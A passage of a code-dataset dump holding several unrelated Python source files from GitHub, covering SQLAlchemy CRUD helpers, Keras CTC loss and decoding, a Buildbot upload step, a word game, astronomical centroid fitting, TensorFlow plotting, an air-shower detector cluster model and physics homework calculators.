file=sys.stderr)\n","repo_name":"Grissess/pgtk","sub_path":"transpose_csv.py","file_name":"transpose_csv.py","file_ext":"py","file_size_in_byte":3790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"12991109519","text":"from typing import List, Union, TypeVar\n\nfrom models import Base\nfrom pydantic import BaseModel\nfrom sqlalchemy import select, delete\nfrom sqlalchemy.orm import Session\n\n\nCreateSchema = TypeVar('CreateSchema', bound=BaseModel)\n\n\ndef get_by_id(\n cls: Base,\n session: Session,\n *,\n pk: int\n) -> Union[Base, None]:\n \"Return a single instance matching the `pk`\"\n stmt = select(cls).where(cls.id==pk)\n res = session.execute(stmt).scalar_one()\n return res\n\n\ndef read_all(\n cls: Base,\n session: Session,\n *,\n skip: int = 0,\n limit: int | None = None,\n) -> Union[List[Base], List]:\n \"Return all rows of `cls`\"\n stmt = select(cls).offset(skip)\n if limit:\n stmt = stmt.limit(limit)\n items = session.execute(stmt).scalars().all()\n session.commit()\n return items\n\n\ndef create_one(\n cls: Base,\n session: Session,\n *,\n data: CreateSchema\n) -> Base:\n \"Create a single instance of `cls`\"\n obj = cls(**data.dict(exclude_unset=True))\n session.add(obj)\n session.commit()\n session.refresh(obj)\n return obj\n\n\ndef update_one(\n session: Session,\n *,\n obj: Base,\n data: CreateSchema\n) -> Base:\n \"Update the instance the `obj`\"\n has_changed = False\n for key, value in data.dict(exclude_unset=True).items():\n if hasattr(obj, key) and getattr(obj, key) != value:\n if isinstance(key) != BaseModel:\n setattr(obj, key, value)\n has_changed = True\n if has_changed:\n session.add(obj)\n session.commit()\n session.refresh(obj)\n return obj\n\n\ndef delete_by_id(\n cls: Base,\n session: Session,\n *,\n pk: int,\n) -> Base:\n \"Delete and instance of `Base`\"\n stmt = delete(cls).where(cls.id==pk).returning(cls.id)\n res = session.execute(stmt)\n session.commit()\n return res","repo_name":"moadennagi/fastapi-tutorial","sub_path":"app/crud.py","file_name":"crud.py","file_ext":"py","file_size_in_byte":1843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"42068037659","text":"#! /usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\n@Author: _defined\n@Time: 2019/8/19 18:49\n@Description: overwrite Keras's ctc cost and ctc decode\n\"\"\"\n\nfrom tensorflow.python.keras import (backend_config, backend)\nfrom settings import config\n\n__all__ = ['ctc_batch_cost', 'ctc_decode']\n\n\ndef ctc_batch_cost(y_true, y_pred, input_length, label_length):\n \"\"\"Runs CTC loss algorithm on each batch element.\n\n Arguments:\n y_true: tensor `(samples, max_string_length)`\n containing the truth labels.\n y_pred: tensor `(samples, time_steps, num_categories)`\n containing the prediction, or output of the softmax.\n input_length: tensor `(samples, 1)` containing the sequence length for\n each batch item in `y_pred`.\n label_length: tensor `(samples, 1)` containing the sequence length for\n each batch item in `y_true`.\n\n Returns:\n Tensor with shape (samples,1) containing the\n CTC loss of each element.\n \"\"\"\n label_length = backend.math_ops.cast(\n backend.array_ops.squeeze(label_length, axis=-1), backend.dtypes_module.int32)\n input_length = backend.math_ops.cast(\n backend.array_ops.squeeze(input_length, axis=-1), backend.dtypes_module.int32)\n sparse_labels = backend.math_ops.cast(\n backend.ctc_label_dense_to_sparse(y_true, label_length), backend.dtypes_module.int32)\n\n y_pred = backend.math_ops.log(backend.array_ops.transpose(y_pred, perm=[1, 0, 2]) + backend_config.epsilon())\n\n # overwrite here\n return backend.array_ops.expand_dims(\n backend.ctc.ctc_loss(\n inputs=y_pred, labels=sparse_labels, sequence_length=input_length,\n preprocess_collapse_repeated=config.preprocess_collapse_repeated,\n ctc_merge_repeated=config.ctc_merge_repeated,\n time_major=config.time_major), 1)\n\n\ndef ctc_decode(y_pred, input_length, greedy=True, beam_width=100, top_paths=1, merge_repeated=False):\n \"\"\"Decodes the output of a softmax.\n\n Can use either greedy search (also known as best path)\n or a constrained dictionary search.\n\n Arguments:\n y_pred: tensor `(samples, time_steps, num_categories)`\n containing the prediction, or output of the softmax.\n input_length: tensor `(samples, )` containing the sequence length for\n each batch item in `y_pred`.\n greedy: perform much faster best-path search if `true`.\n This does not use a dictionary.\n beam_width: if `greedy` is `false`: a beam search decoder will be used\n with a beam of this width.\n top_paths: if `greedy` is `false`,\n how many of the most probable paths will be returned.\n merge_repeated: If `merge_repeated` is `True`,\n merge repeated classes in output, default 'false'\n\n Returns:\n Tuple:\n List: if `greedy` is `true`, returns a list of one element that\n contains the decoded sequence.\n If `false`, returns the `top_paths` most probable\n decoded sequences.\n Important: blank labels are returned as `-1`.\n Tensor `(top_paths, )` that contains\n the log probability of each decoded sequence.\n \"\"\"\n y_pred = backend.math_ops.log(backend.array_ops.transpose(y_pred, perm=[1, 0, 2]) + backend.epsilon())\n input_length = backend.math_ops.cast(input_length, backend.dtypes_module.int32)\n\n if greedy:\n (decoded, log_prob) = backend.ctc.ctc_greedy_decoder(\n inputs=y_pred, sequence_length=input_length, merge_repeated=merge_repeated)\n else:\n (decoded, log_prob) = backend.ctc.ctc_beam_search_decoder(\n inputs=y_pred,\n sequence_length=input_length,\n beam_width=beam_width,\n top_paths=top_paths,\n merge_repeated=merge_repeated)\n decoded_dense = [\n backend.sparse_ops.sparse_to_dense(\n st.indices, st.dense_shape, st.values, default_value=-1)\n for st in decoded\n ]\n return decoded_dense, log_prob\n","repo_name":"Times125/break_captcha","sub_path":"ctc_ops.py","file_name":"ctc_ops.py","file_ext":"py","file_size_in_byte":4075,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"72"} +{"seq_id":"73899647912","text":"\r\nfrom buildbot.steps.transfer import FileUpload, SUCCESS\r\nimport urllib\r\n\r\nclass FileUploadOutput(FileUpload):\r\n description = ['uploading']\r\n descriptionDone = ['output']\r\n\r\n def __init__(self, *args, **kwargs):\r\n FileUpload.__init__(self, *args, **kwargs)\r\n self._dest = self.masterdest\r\n self._descDone = kwargs.get('descriptionDone')\r\n\r\n def start(self):\r\n self.masterdest = '%s/%s-output-%s'%(self.getProperty('buildername'),\r\n self.getProperty('buildnumber'),\r\n self._dest)\r\n return FileUpload.start(self)\r\n\r\n def finished(self, result):\r\n if self._descDone is None:\r\n self.descriptionDone = [\r\n 'output'%(\r\n urllib.quote(self.getProperty('buildername'), safe=''),\r\n self.getProperty('buildnumber'))]\r\n self.step_status.setText(self.descriptionDone)\r\n if not self.cmd.rc:\r\n self.step_status.addURL(self._dest,\r\n 'builders/%s/builds/%s/output/%s'%(\r\n urllib.quote(self.getProperty('buildername'), safe=''),\r\n self.getProperty('buildnumber'),\r\n self._dest))\r\n return FileUpload.finished(self, result)\r\n\r\n","repo_name":"gridlab-d/tools","sub_path":"buildbot/src/localbb/steps/transfer.py","file_name":"transfer.py","file_ext":"py","file_size_in_byte":1398,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"72"} +{"seq_id":"20241829578","text":"#______________________integracion de etapas______________________\nfrom etapa1 import Iniciar\nfrom etapa2 import integrar_etapa_2\nfrom etapa3 import integrar_etapa_3\nfrom datos import obtener_lista_definiciones\nfrom etapa8 import leer_diccionario\n#___________________funciones complementarias_____________________\ndef orden_alfabetico(elemento):\n \"\"\"\n la funcion recibe como parametro una elemento de caracteres y \n devuelve una lista con la equivalencia numerica de cada letra. \n Si la elemento es una lista, se toma el primer elemento.\n >>> orden_alfabetico(\"hola\")\n [8, 16, 12, 1]\n >>> orden_alfabetico(\"manzana\")\n [13, 1, 14, 27, 1, 14, 1]\n >>> orden_alfabetico(\"árbol\")\n [1, 19, 2, 16, 12]\n >>> orden_alfabetico(\"último\")\n [22, 12, 21, 9, 13, 16]\n \"\"\"\n abecedario = {\n 'a': 1, 'á': 1, \n 'b': 2, \n 'c': 3, \n 'd': 4, \n 'e': 5, 'é': 5, \n 'f': 6, \n 'g': 7, \n 'h': 8, \n 'i': 9, 'í': 9,\n 'j': 10, \n 'k': 11, \n 'l': 12, \n 'm': 13, \n 'n': 14, \n 'ñ': 15, \n 'o': 16, 'ó': 16, \n 'p': 17, \n 'q': 18, \n 'r': 19,\n 's': 20, \n 't': 21, \n 'u': 22, 'ú': 22, 'ü': 22,\n 'v': 23, \n 'w': 24, \n 'x': 25, \n 'y': 26, \n 'z': 27\n }\n equivalencia_numerica = []\n for letra in elemento:\n equivalencia_numerica.append(abecedario[letra])\n return equivalencia_numerica\n #CRUZ, ARIEL CARLOS LEONARDO​\n\n\ndef imprimir_diccionario(diccionario):\n #___________Colores___________\n azul = '\\033[94m'\n reset = '\\033[0m'\n for clave , valor in diccionario.items():\n print(f\"{azul}{clave}:{reset}{valor}\")\n #CRUZ, ARIEL CARLOS LEONARDO​\n\n\ndef generar_dicc_juego(palabras_elegidas,respuestas):\n dicc_juego = {}\n INICIAL = 0\n for elemento in range(len(palabras_elegidas)):\n dicc_juego[palabras_elegidas[elemento][INICIAL]] = [palabras_elegidas[elemento],respuestas[elemento]]\n return dicc_juego\n #CRUZ, ARIEL CARLOS LEONARDO​\ndef extraer_claves_coincidentes(diccionario,lista_palabras):\n \"\"\"\n La funcion recibe como parametro un diccionario y una lista de palabras \n y devuelve una lista de listas con la palabra y su definicion\n \"\"\"\n lista_definiciones = []\n for palabra, definicion in diccionario.items():\n if palabra in lista_palabras:\n lista_definiciones.append([palabra,definicion])\n lista_definiciones = sorted(lista_definiciones, key=lambda x: orden_alfabetico(x[0]))\n return lista_definiciones\n #CRUZ, ARIEL CARLOS LEONARDO​\n\n#______________________Etapas 4__________________________\n\n\n\ndef integrar_etapa4(cantidad_letras,puntaje_inicial=0):\n\n diccionario = integrar_etapa_2(obtener_lista_definiciones())\n\n letras_elegidas,palabras_elegidas = integrar_etapa_3(diccionario,cantidad_letras)\n palabras_definicion = extraer_claves_coincidentes(diccionario,palabras_elegidas)\n respuestas = Iniciar(letras_elegidas,palabras_definicion)\n diccionario_juego = generar_dicc_juego(palabras_elegidas,respuestas)\n return diccionario_juego\n #CRUZ, ARIEL CARLOS LEONARDO​\n\n#______________________Etapas 4 con csv__________________________\n\ndef intregrar_juego_csv(cantidad_letras):\n \"\"\"\n Parametros:\n cantidad_letras: numero entero\n return: diccionario con clave: letra, valor: lista con [palabra , respuesta]\n \"\"\"\n diccionario = integrar_etapa_2(leer_diccionario())\n lista_palabras = diccionario.keys()\n letras_elegidas,palabras_elegidas = integrar_etapa_3(lista_palabras,cantidad_letras)\n palabras_definicion = extraer_claves_coincidentes(diccionario,palabras_elegidas)\n respuestas = Iniciar(letras_elegidas,palabras_definicion)\n diccionario_juego = generar_dicc_juego(palabras_elegidas,respuestas)\n return diccionario_juego\n #CRUZ, ARIEL CARLOS LEONARDO​","repo_name":"AlexLimCor/TP-Algo-Guarna-Maquina","sub_path":"etapa4.py","file_name":"etapa4.py","file_ext":"py","file_size_in_byte":3833,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"32063190602","text":"import numpy as np\nfrom prose import FitsManager, Block\nfrom prose._blocks.psf import moments\nfrom prose import Unit\nfrom prose.blocks import DAOFindStars\nimport warnings\nfrom scipy.optimize import minimize\nimport matplotlib.pyplot as plt\n\n\nclass CentroidCheck(Block):\n\n def __init__(self, star=0, cutout_size=21, **kwargs):\n super().__init__(**kwargs)\n self.ref_star = star\n self.star = star\n assert cutout_size % 2 == 1, \"cutou_size must be odd\"\n self.cutout_size = cutout_size\n self.stars_coords = []\n self.init_positions = []\n self.fitted_positions = []\n self.interpolated_positions = []\n self.x, self.y = np.indices((cutout_size, cutout_size))\n\n def initialize(self, fits_manager):\n pass\n\n def run(self, image):\n ref_x0_int, ref_y0_int = image.stars_coords[self.ref_star].astype(int)\n dx = dy = int(self.cutout_size / 2)\n cutout = image.data[ref_y0_int - dy:ref_y0_int + dy + 1, ref_x0_int - dx:ref_x0_int + dx + 1]\n dx0_ref, dy0_ref = self.optimize(cutout)\n\n x0_int, y0_int = image.stars_coords[self.star].astype(int)\n x0_init, y0_init = image.stars_coords[self.star]\n dx = dy = int(self.cutout_size / 2)\n cutout = image.data[y0_int - dy:y0_int + dy + 1, x0_int - dx:x0_int + dx + 1]\n dx0_fit, dy0_fit = self.optimize(cutout)\n\n self.init_positions.append([x0_int, y0_int])\n self.fitted_positions.append([x0_int - dx + dx0_fit, y0_int - dy + dy0_fit])\n\n def model(self, a, x0, y0, sx, sy, theta, b, beta):\n # https://pixinsight.com/doc/tools/DynamicPSF/DynamicPSF.html\n dx_ = self.x - x0\n dy_ = self.y - y0\n dx = dx_ * np.cos(theta) + dy_ * np.sin(theta)\n dy = -dx_ * np.sin(theta) + dy_ * np.cos(theta)\n\n return b + a / np.power(1 + (dx / sx) ** 2 + (dy / sy) ** 2, beta)\n\n def nll(self, p, image):\n ll = np.sum(np.power((self.model(*p) - image), 2) * image)\n return ll if np.isfinite(ll) else 1e25\n\n def optimize(self, image):\n p0 = list(moments(image))\n p0.append(1)\n x0, y0 = p0[1], p0[2]\n min_sigma = 0.5\n bounds = [\n (0, np.infty),\n (x0 - 3, x0 + 3),\n (y0 - 3, y0 + 3),\n (min_sigma, np.infty),\n (min_sigma, np.infty),\n (0, 4),\n (0, np.mean(image)),\n (1, 8),\n ]\n\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n params = minimize(self.nll, p0, bounds=bounds, args=(image)).x\n return params[1], params[2]\n\n def terminate(self):\n self.init_positions = np.array(self.init_positions)\n self.interpolated_positions = np.array(self.interpolated_positions)\n self.fitted_positions = np.array(self.fitted_positions)\n\n def plot(self, c=\"C0\"):\n plt.plot(*(self.fitted_positions.T - self.init_positions.T), \".\", c=c, label=\"inital positions error\",\n alpha=0.2)\n plt.legend()\n\n\nclass CentroidDiagnostic(Unit):\n \"\"\"\n This tools performs accurate centroid estimate of a star against positions given in its stars_coords\n \"\"\"\n\n def __init__(self, fits_manager, star, blocks):\n\n if isinstance(blocks, Block):\n blocks = [blocks]\n\n if isinstance(fits_manager, str):\n fits_manager = FitsManager(fits_manager, light_kw=\"reduced\", verbose=False)\n\n default_methods = [\n #DAOFindStars(stack=True, name=\"detection\")\n *blocks,\n CentroidCheck(star=star, name=\"centroid check\")\n ]\n\n super().__init__(default_methods, fits_manager, \"check\", files=\"reduced\", show_progress=True)\n\n self.run()\n\n def plot(self, **kwargs):\n self.blocks_dict[\"centroid check\"].plot(**kwargs)","repo_name":"franpoz/prose","sub_path":"prose/_diagnostics/centroid_diagnostic.py","file_name":"centroid_diagnostic.py","file_ext":"py","file_size_in_byte":3840,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"72"} +{"seq_id":"22891511764","text":"import io\nimport numpy as np\nimport tensorflow as tf\nfrom matplotlib import pyplot as plt\nimport warnings\nwarnings.filterwarnings( \"ignore\", module = \"matplotlib\\..*\" )\n\"\"\"\nTools for producing images during training and inference\n\"\"\"\n\n\ndef normalize(arr):\n if np.min(arr) == np.max(arr):\n return np.zeros(arr.shape)\n return (arr + np.min(arr))/(np.max(arr)-np.min(arr))\n\n\ndef plot_to_image(figure):\n \"\"\"Converts the matplotlib plot specified by 'figure' to a PNG image and\n returns it. The supplied figure is closed and inaccessible after this call.\"\"\"\n # Save the plot to a PNG in memory.\n buf = io.BytesIO()\n plt.savefig(buf, format='png')\n # Closing the figure prevents it from being displayed directly inside\n # the notebook.\n plt.close(figure)\n buf.seek(0)\n # Convert PNG buffer to TF image\n image = tf.image.decode_png(buf.getvalue(), channels=4)\n # Add the batch dimension\n image = tf.expand_dims(image, 0)\n return image\n\n\ndef grid_plots(inputs, logits, labels, max_inputs=8):\n\n plt.tight_layout()\n figures = []\n\n for i in range(min(max_inputs, inputs.shape[0])):\n figure, axes = plt.subplots(1, 4)\n\n axes[0].imshow(normalize(inputs[i, ..., :1]))\n axes[0].set_title(\"input\")\n axes[1].imshow(inputs[i, ..., -1:])\n axes[1].set_title(\"seed\")\n axes[2].imshow(labels[i])\n axes[2].set_title(\"label\")\n axes[3].imshow(logits[i])\n axes[3].set_title(\"output\")\n figures.append(figure)\n\n return figures","repo_name":"Harrison-Oatman/NeuronSegmentation","sub_path":"floodfilling_approach/floodfilling/utils/imaging.py","file_name":"imaging.py","file_ext":"py","file_size_in_byte":1534,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"41361794391","text":"from math import pow, sqrt\nfrom numpy import array\nfrom numpy.random import poisson, normal\nfrom numpy.linalg import det\n\nfrom core.station import Station\nfrom core.utils import get_distance, nkg, light_speed\n\n\nclass Cluster:\n \"\"\"Класс для представления кластера установки НЕВОД-ШАЛ\"\"\"\n\n def __init__(self, center, length=15, width=15):\n \"\"\"Создаём кластер, передаём ему координаты и накрывший его ШАЛ\"\"\"\n self.eas = None # ШАЛ, падающий на кластер\n self.center = array(center) # Координаты кластера [м]\n self.length = length # Длина кластреа (вдоль оси Y) [м]\n self.width = width # Ширина кластера (вдоль оси X) [м]\n self.respond = None # Отклик кластера\n self.rec_n = None # Координаты восстановленного вектора\n self.time = None # Время срабатывания кластера [нс]\n self.num_of_trig_st = None # Число сработавших станций\n self.matches_required = 4 # Крастность совпадений\n\n self.stations = (\n # Создаём станции кластера, задаём им координаты и номера\n Station(1,\n [self.center[0] - self.width / 2,\n self.center[1] + self.length / 2,\n self.center[2]]),\n\n Station(2,\n [self.center[0] + self.width / 2,\n self.center[1] + self.length / 2,\n self.center[2]]),\n\n Station(3,\n [self.center[0] - self.width / 2,\n self.center[1] - self.length / 2,\n self.center[2]]),\n\n Station(4,\n [self.center[0] + self.width / 2,\n self.center[1] - self.length / 2,\n self.center[2]]),\n )\n\n def set_eas(self, eas):\n \"\"\"Передать ШАЛ кластеру\"\"\"\n self.eas = eas\n\n def start(self, eas):\n \"\"\"Запуск кластера\"\"\"\n # Получаем ШАЛ\n self.eas = eas\n # Счётчик сработавших станций\n self.num_of_trig_st = 0\n for st in self.stations:\n # Запускаем станции\n if st.start(eas):\n self.num_of_trig_st += 1\n\n if self.num_of_trig_st >= self.matches_required:\n # Кластер сработал (четырёхкратные совпадения)\n self.respond = True\n self.time = min([st.time for st in self.stations if st.time])\n else:\n # Кластер не сработал\n self.respond = False\n\n return self.respond\n\n def reset(self):\n \"\"\"Возвращаем кластер к исходному состоянию\"\"\"\n for station in self.stations:\n station.reset()\n self.respond = None\n self.eas = None\n self.time = None\n self.rec_n = None\n self.num_of_trig_st = None\n\n def set_state(self, evt_cluster):\n \"\"\"Устанавливаем состояние кластера в соответствии\n с прочитанным событием\"\"\"\n self.num_of_trig_st = 0\n for st_n, st in enumerate(self.stations):\n if st.set_state(evt_cluster['st'][st_n]):\n self.num_of_trig_st += 1\n\n if self.num_of_trig_st == 4:\n self.respond = True\n self.time = min([st.time for st in self.stations if st.time])\n else:\n self.respond = False\n\n return self.respond\n\n def mk_times_relative(self):\n \"\"\"Делает времена срабатывания станций относительными\"\"\"\n min_t = min([st.time for st in self.stations if st.respond])\n for st in self.stations:\n if st.respond:\n st.time -= min_t\n\n def rec_direction(self):\n \"\"\"Восстанавливает вектор прихода ШАЛ методом наименьших квадратов\"\"\"\n\n # Изменим времена срабатывания станций на относительные\n self.mk_times_relative()\n\n sum0 = 0\n sum_x = 0\n sum_y = 0\n sum_xx = 0\n sum_yy = 0\n sum_xy = 0\n sum_t = 0\n sum_tx = 0\n sum_ty = 0\n\n for st in self.stations:\n sqr_sigma_t = pow(st.sigma_t, 2)\n\n sum0 += 1 / sqr_sigma_t\n sum_t += st.time / sqr_sigma_t\n sum_x += st.coord[0] / sqr_sigma_t\n sum_y += st.coord[1] / sqr_sigma_t\n sum_xx += pow(st.coord[0], 2) / sqr_sigma_t\n sum_yy += pow(st.coord[1], 2) / sqr_sigma_t\n sum_xy += (st.coord[0] * st.coord[1]) / sqr_sigma_t\n sum_tx += (st.time * st.coord[0]) / sqr_sigma_t\n sum_ty += (st.time * st.coord[1]) / sqr_sigma_t\n\n sqr_light_speed = pow(light_speed, 2)\n\n sum0 /= sqr_light_speed\n sum_xx /= sqr_light_speed\n sum_xy /= sqr_light_speed\n sum_yy /= sqr_light_speed\n sum_x /= sqr_light_speed\n sum_y /= sqr_light_speed\n sum_tx /= light_speed\n sum_ty /= light_speed\n sum_t /= light_speed\n\n line_1 = [sum_xx, sum_xy, sum_x]\n line_2 = [sum_xy, sum_yy, sum_y]\n line_3 = [sum_x, sum_y, sum0]\n line_4 = [sum_tx, sum_ty, sum_t]\n\n det1 = det([line_1, line_2, line_3])\n det2 = det([line_4, line_2, line_3])\n det3 = det([line_1, line_4, line_3])\n # det4 = det([line_1, line_2, line_4])\n\n a = det2 / det1\n b = det3 / det1\n\n if (pow(a, 2) + pow(b, 2)) <= 1:\n # Если вектор восстановился успешно\n c = sqrt(1 - pow(a, 2) - pow(b, 2))\n self.rec_n = array([a, b, c])\n self.respond = True\n return True\n else:\n self.respond = False\n return False\n\n def rec_particles(self, n, params):\n \"\"\"Восстанавливаем число частиц в каждой станции, предполага�� мощность\n координаты прихода ШАЛ, мощность и возраст. А вычисление расстояния до станций \n от оси ШАЛ просиходит с помощью восстанолвенного вектора\"\"\"\n for station in self.stations:\n dist = get_distance(station.coord, n, params[0], params[1])\n station.rec_particles = station.area * n[2] * nkg(dist, params[2],\n params[3])\n\n","repo_name":"beeblebro/ModelNevodEAS","sub_path":"core/cluster.py","file_name":"cluster.py","file_ext":"py","file_size_in_byte":6994,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"24620974726","text":"import math\n\nclass Physic:\n\tdef __init__(self):\n\t\tself.input_values = {\n\t\t\t'east': 0.0,\n\t\t\t'west': 0.0,\n\t\t\t'windmill_time': 0.0,\n\t\t\t'bench_time': 0.0\n\t\t}\n\t\n\tdef average_velocity_given_function(self):\n\t\t\"\"\"\n\t\t\tA Honda Civic travels in a straight line along a road. Its distance x\n\t\t\t from a stop sign is given as a function of time t\n\t\t\t by the equation x(t)=αt2−βt3\n\t\t\t, where α = 1.55 m/s2 and β= 0.0480 m/s3\n\n\t\t\tCalculate the average velocity of the car for the time interval t=0\n\t\t\t to t=1.95 s .\n\t\t\t answer: v = 2.84m/s\n \n\t\t\tCalculate the average velocity of the car for the time interval t= 1.95 s\n\t\t\t to t=4.00 s\n\t\t\t answer: v = 7.90m/s\n\t\t\t \n\t\t\t Calculate the instantaneous velocity of the car at t= 5.00 s\n\n\t\t\tv = 12.3\tm/s\n\t\t\"\"\"\n\t\t# Ask the user for input values\n\t\tprint(\"The acceleration of a Honda Civic is given by x(t) = αt2−βt3\")\n\t\tA = float(input(\"Enter function value A m/s^2: \"))\n\t\tC = float(input(\"Enter function value B m/s^3: \"))\n\n\t\n\t\t# Ask the user which calculation they want to perform\n\t\tprint(\"Choose an option:\")\n\t\tprint(\"1. Calculate Instant Velocity\")\n\t\tprint(\"2. Calculate Average Velocity\")\n\t\tprint(\"3. Calculate when is the vehicle at rest\")\n\t\tchoice = input(\"Enter the corresponding number: \")\n\t\n\t\t# Display the results based on the user's choice\n\t\tif choice == '1':\n\t\t\tt_end = float(input(\"Enter function value end t: \"))\n\t\t\t# Calculate average velocity (v av-x) using the formula\n\t\t\tinstant_velocity = ((2*A * t_end) - (3*C * t_end**2)) \n\t\t\tprint(f\"Calculate the instantaneous velocity of the car at t = {t_end} \", instant_velocity, \"m/s\")\n\t\telif choice == '2':\n\t\t\tt_end = float(input(\"Enter function value end t: \"))\n\t\t\tt_start = float(input(\"Enter function value starting t: \"))\n\t\t\t# Calculate average velocity (v av-x) using the formula\n\t\t\tvelocity = (((A * t_end**2) - (C * t_end**3)) - ((A * t_start**2) - (C * t_start**3))) / (t_end - t_start)\n\t\t\tprint(f\"Calculate the average velocity of the car for the time interval t= {t_start} to t= {t_end} s \", velocity, \"m/s\")\n\t\tif choice == '3':\n\t\t\t# Calculate average velocity (v av-x) using the formula\n\t\t\tat_rest = (2*A) / (3*C)\n\t\t\tprint(\"How long after starting from rest is the car again at rest? =\", at_rest, \"m/s\")\n\t\telse:\n\t\t\tprint(\"Invalid choice. Please enter '1', '2', or '3'.\")\n\n\t\t\n\t\t\n\t\n\tdef get_user_input():\n\t\t# Ask the user the questions and store the values in the dictionary\n\t\tself.input_values['east'] = float(input(\"Starting from the front door of your ranch house, you walk (in meters) due east to your windmill: \"))\n\t\tself.input_values['west'] = float(input(\"You turn around and then slowly walk (in meters) west to a bench, where you sit and watch the sunrise: \"))\n\t\tself.input_values['windmill_time'] = float(input(\"It takes you (in seconds) to walk from your house to the windmill: \"))\n\t\tself.input_values['bench_time'] = float(input(\"And then (in seconds) to walk from the windmill to the bench: \"))\n\t\t\n \n\tdef calculate_average_velocity(self):\n\t\t\"\"\"\n\t\t Starting from the front door of your ranch house, you walk 55.0 m\n\t\t due east to your windmill, turn around, and then slowly walk 35.0 m\n\t\t west to a bench, where you sit and watch the sunrise. It takes you 25.0 s\n\t\t to walk from your house to the windmill and then 41.0 s\n\t\t to walk from the windmill to the bench.\n\t\t For the entire trip from your front door to the bench, what is your average velocity?\n\t\t v av−x = 0.303 ms\n \n\n\t\t\"\"\"\n\t\tself.get_user_input()\n\t\t\n\t\t# Calculate displacement and time using the dictionary values\n\t\tdisplacement = self.input_values['east'] - self.input_values['west']\n\t\ttime = self.input_values['windmill_time'] + self.input_values['bench_time']\n\n\t\t# Calculate average velocity\n\t\taverage_velocity = displacement / time\n\t\t\n\t\t# Display the results\n\t\tprint(\"Displacement =\", displacement, \"m\")\n\t\tprint(\"Time =\",time, \"s\")\n\t\tprint(\"Average Velocity =\", average_velocity, \"m/s\")\n\t\t\n\t\n\tdef calculate_average_speed(self):\n\t\t\"\"\"\n\t\t Starting from the front door of your ranch house, you walk 55.0 m\n\t\t due east to your windmill, turn around, and then slowly walk 35.0 m\n\t\t west to a bench, where you sit and watch the sunrise. It takes you 25.0 s\n\t\t to walk from your house to the windmill and then 41.0 s\n\t\t to walk from the windmill to the bench.\n\t\t For the entire trip from your front door to the bench, what is your average speed?\n\t\t v av−x = 0.303 ms\n \n\n\t\t\"\"\"\n\t\tself.get_user_input()\n\t\t\n\t\t# Calculate displacement and time using the dictionary values\n\t\tdisplacement = self.input_values['east'] + self.input_values['west']\n\t\ttime = self.input_values['windmill_time'] + self.input_values['bench_time']\n\n\t\t# Calculate average velocity\n\t\taverage_speed= displacement / time\n\t\t\n\t\t# Display the results\n\t\tprint(\"Displacement =\", displacement, \"m\")\n\t\tprint(\"Time =\",time, \"s\")\n\t\tprint(\"Average speed =\", average_speed, \"m/s\")\n\t\t\n\t\t\n\t\n\tdef calculate_instant_velocity(self):\n\t\t\"\"\"\n\t\t Starting from the front door of your ranch house, you walk 55.0 m\n\t\t due east to your windmill, turn around, and then slowly walk 35.0 m\n\t\t west to a bench, where you sit and watch the sunrise. It takes you 25.0 s\n\t\t to walk from your house to the windmill and then 41.0 s\n\t\t to walk from the windmill to the bench.\n\t\t For the entire trip from your front door to the bench, what is your average velocity?\n\t\t v av−x = 0.303 ms\n \n\n\t\t\"\"\"\n\t\t# Ask the user the questions and store the values in the dictionary\n\t\tself.input_values['east'] = float(input(\"End point : \"))\n\t\tself.input_values['west'] = float(input(\"Start Point: \"))\n\t\tself.input_values['windmill_time'] = float(input(\"End time: \"))\n\t\tself.input_values['bench_time'] = float(input(\"Start time: \"))\n\t\t\n\t\t# Calculate displacement and time using the dictionary values\n\t\tdisplacement = self.input_values['east'] - self.input_values['west']\n\t\ttime = self.input_values['windmill_time'] - self.input_values['bench_time']\n\n\t\t# Calculate average velocity\n\t\taverage_velocity = displacement / time\n\t\t\n\t\t# Display the results\n\t\tprint(\"Displacement =\", displacement, \"m\")\n\t\tprint(\"Time =\",time, \"s\")\n\t\tprint(\"Find its instantaneous velocity at point A=\", average_velocity, \"m/s\")\n\t\t\n\t\t\n\tdef calculate_constant_acceleration(self):\n\t\t\"\"\"\n\t\t An antelope moving with constant acceleration covers the distance 75.0 m\n\t\t between two points in time 8.00 s\n\t\t Its speed as it passes the second point is 15.0 m/s\n\t\t What is its speed at the first point? v = 3.75 ms\n\t\t What is the acceleration? a = 1.41 ms2\n\t\t\"\"\"\n\t\t# Ask the user the questions and store the values in the dictionary\n\t\tdistance_covered= float(input(\"Enter distance covered : \"))\n\t\tt = float(input(\"enter t: \"))\n\t\tv = float(input(\"Enter final velocity: \"))\n\n\t\t\n\t\t# Calculate displacement and time using the dictionary values\n\t\tspeed_at_first_point = 2*distance_covered/t - v\n\t\tacceleration =(v - speed_at_first_point) / t\n\t\t\n\t\tprint(\"What is its speed at the first point? \",speed_at_first_point,\"m/s\")\n\t\tprint(\"What is the acceleration? \",acceleration,\"m/s^2\")\n\t\t\n\t\n\tdef baseball_acceleration(self):\n\t\t\"\"\"\n\t\t The fastest measured pitched baseball left the pitcher's hand at a speed of 44.0 m/s\n\t\t The pitcher was in contact with the ball over a distance of 1.50 m\n\t\t and produced constant acceleration.\n\t\t \n\t\t What acceleration did he give the ball? ax = 645 m/s2\n\t\t EXECUTE: x−x0=1.50m , vx=44.0m/s and v0x=0 v2x=v20x+2ax(x−x0)\n \t\t gives ax=v2x−v20x2(x−x0)=(44.0m/s)22(1.50m)=645m/s2\n\t\t \n\t\t How much time did it take him to pitch it? t = 6.82×10−2 s\n\t\t x−x0=(v0x+vx2)t gives t=2(x−x0) v0x+vx= 2(1.50m)44.0m/s = 6.82×10−2s\n\t\t EVALUATE: We could also use vx=v0x+axt to find t=vx ax= 44.0m/s 645m/s2 = 6.82×10−2 s\n which agrees with our previous result. The acceleration of the ball is very large.\n\t\t\"\"\"\n\t\t# Ask the user the questions and store the values in the 